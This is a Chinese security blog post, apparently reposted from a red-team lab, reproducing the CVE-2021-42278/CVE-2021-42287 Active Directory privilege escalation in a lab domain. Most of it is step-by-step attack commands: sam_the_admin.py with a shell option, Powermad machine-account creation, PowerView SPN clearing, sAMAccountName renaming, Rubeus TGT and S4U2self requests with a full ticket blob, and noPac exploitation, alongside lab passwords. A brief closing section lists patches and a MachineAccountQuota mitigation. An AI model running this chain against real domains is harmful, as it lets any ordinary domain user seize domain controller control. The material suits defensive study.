首页 安全文摘 漏洞分析 正文

只需要一个域用户即可拿到 DC 权限(CVE-2021-42287 and CVE-2021-42278)

前言最近出了两个漏洞:CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,D

前言

最近出了两个漏洞

  • CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。

  • CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

说白了就是:如果获得了 DC 用户的 TGT 票据且域内有一台名为 DC$ 域控,再将 DC 用户删除,此时使用该 TGT 去请求 s4u2self,如果域控制器帐户 DC$ 存在,那么 DC 就能获得域控制器帐户(机器用户DC$)的 ST 票证。

假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 saulGoodman$,再把机器用户 saulGoodman$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 saulGoodman$。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

漏洞环境

在这里我使用的是渗透攻击红队的内网域渗透靶场:redteam.red 域

IP机器名用户名:密码
10.10.10.8(DC)owaredteam/Administrator:Admin12345
10.10.10.7Work-7redteam/saul:Red12345


CVE-2021-42287/CVE-2021-42278 Attack

Python 利用脚本:https://Github.com/WazeHell/sam-the-admin

前置条件:需要一个域用户

利用过程:

python3 sam_the_admin.py "redteam/saul:Red12345" -dc-ip 10.10.10.8 -shell

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第1张

漏洞利用十分简单粗暴,只需要一个域用户账户即可拿到 DC 的控制权限。

CVE-2021-42287/CVE-2021-42278 深入分析

具体利用流程是这样的:

  1. 首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad

    addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除

  2. 清除机器账户的servicePrincipalName属性

  3. 将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$

  4. 为机器账户请求TGT

  5. 将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可

  6. 通过S4U2self协议向DC请求ST

  7. 进行 DCsync Attack

那么我们一步步来再次复现一遍:

1、首先 saul 用户是一个普通的域用户:

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第2张

2、通过利用 powermad.ps1 新增机器帐号(域用户默认可以新建10个机器账户)

下载地址:https://github.com/Kevin-Robertson/Powermad

命令语法:

powershell
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1

# 运行完后需要输入一下密码:whoami(可任意密码)
New-MachineAccount -MachineAccount saulgoodman -Domain redteam.red -DomainController owa.redteam.red -Verbose

# 验证是否添加成功
net group "domain computers" /domain

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第3张

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第4张

3、clear its SPNs(清除SPN信息)

# 导入一下 PowerView.ps1
Import-Module .\PowerView.ps1

Set-DomainObject "CN=saulgoodman,CN=Computers,DC=redteam,DC=red" -Clear 'serviceprincipalname' -Verbose

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第5张

4、reset the computer name(重设机器名称)

Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "owa" -Attribute samaccountname -Verbose

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第6张

5、Request TGT (请求TGT)

./Rubeus.exe asktgt /user:owa /password:whoami /domian:redteam.red /dc:owa.redteam.red /nowrap

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第7张

6、Change Machine Account samaccountname(改回原来属性,或者其他的)

Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "saulgoodman1" -Attribute samaccountname -Verbose

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第8张

7、Request S4U2self(获取票据)

./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/owa.redteam.red" /dc:"owa.redteam.red" /ptt /ticket:doIEpjCCBKKgAwIBBaEDAgEWooIDwzCCA79hggO7MIIDt6ADAgEFoQ0bC1JFRFRFQU0uUkVEoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLnJlZKOCA30wggN5oAMCARehAwIBAqKCA2sEggNndmn7rhIzitxI2VghguavSAJRzkfZBeA2CzvontUXgh7tg5S9kwPXwy/BcbirLKK1gZ4TeGDgM9ILshg5MaWehy5PsQaxNUczNW+n5FqqaXaKqPD3hCibVaRcV8vasIuuD9hpgaxtG1DJKKopAJyJTbKIrijjxL2yEY07ZZdSEpsKdvFhVwmgHsSG7ZabLyaJ1T+DdZ+gwBme5oNqInvJdWCsc7/5Me/ImDtMuAAEGXfYPIZtIq4Z07QubAJJw1TAa+qpT7VqvCiwu1fh4kryx5z4yzI2GowaiJqgCKJ5f7j7uIM7WanM9YICI8NQsmD4O8c7GJDoureq4BgrNJtXTSN37m9r8MH6Pym9bDi2ZWCV+irr7AjI9ppOvDtFhxq83MmQTJCiuOKGY87qxrsufn3/c2EVK7L1aqpF3ajkZGBKLg3D8InOQe0UpCqAT0Ke+cbp6v/ZnSumLDeI2dAw7PABFDoTKIOWlGntngC5yuhZVf5rWkj0xHxhI+WqQbWdX34OlUF0LVOyJaS8h/LC552/veEM+zyks8UdOvFibpdJYbHYVTYXkuM4nBJ745XwoOjgyDyoTHF0WFwg6iQLXPLZsbAt6FFHPHSK3Pst0YrorYX6SkXdPM/Whu/FeEnoj3V9VZJzmME8uDk34A4Ga5nFDP2wUwDr8gwb4N8Xl1HjG2cSLlujDk6rT3jm6QWLhH8zZBAU3XrXTpPqsqJwXU7PV4WlAectCBgVoSRBxHq/rPSqgWQUi3wFGWheXlIK/ljwqlpwFVdz5TnoLSfEk8Qeml3itjdDhXYln4lpUE8r7K5H0u2D3rMUXs4gFhJCM9s3ErWGfqCMggAs0dg8+G6zcYy3w8OaiCnvRQiDgqrISN0ELWkFjf5X1HqD170p88zXo8ILUMBIYkRx5rNK5GrFwVQNqlWSORT8YNp5LAsQ8vZ+4N+hKOcyapIfRR/SOil6Ed8/UsPWZJjj7zHUDtBUoak3xK4mVqJp2894bdsgScd8uRsPSq4MkPi7YZ2CNEubLU2h8wGOPaecSbfAFDyrbRZnCWzIkKrjtw63qIY032THk0gqpZ3tHSIQHhGLnl34LuLG7nMqvIAlrWOf8brFUa4O85UC3roOMqU0fh8ko8rd332Nt3BHpRQvA2lcutqp/pAgV6OBzjCBy6ADAgEAooHDBIHAfYG9MIG6oIG3MIG0MIGxoBswGaADAgEXoRIEEPTgo0jbEFFl/FfX7+MXbZmhDRsLUkVEVEVBTS5SRUSiEDAOoAMCAQGhBzAFGwNvd2GjBwMFAEDgAAClERgPMjAyMTEyMTMxMDI3MTRaphEYDzIwMjExMjEzMjAyNzE0WqcRGA8yMDIxMTIyMDEwMjcxNFqoDRsLUkVEVEVBTS5SRUSpIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC3JlZHRlYW0ucmVk

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第9张

可能是我环境的问题,Rubeus.exe 获取票据的时候报错了。

noPac Tools Attack

后续使用:https://github.com/cube0x0/noPac (需安装 .net 4.0+)

1、扫描是否存在漏洞:

.\noPac.exe scan -domain redteam.red -user saul -pass 'Red12345'

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第10张

2、漏洞利用:

./noPac.exe -domain redteam.red -user saul -pass 'Red12345' /dc owa.redteam.red /mAccount saulgoodman /mPassword passW0rd /service cifs /ptt

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第11张

漏洞修复方式

  1. 微软官方已推出补丁:KB5008602、KB5008380

  2. 通过域控的 ADSI 编辑器工具将 AD 域的 MAQ 配置为 0,中断此漏洞的利用链。


文由:红队攻防实验室

本文转载自互联网,如有侵权,联系删除

转载请注明本文地址:https://heibai.org.cn/2071.html

相关推荐

XNU虚拟内存安全往事

XNU虚拟内存安全往事

前言最近出了两个漏洞:CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。CVE-202...

安全文摘 3个月前 (04-03) 0 6008

感谢您的支持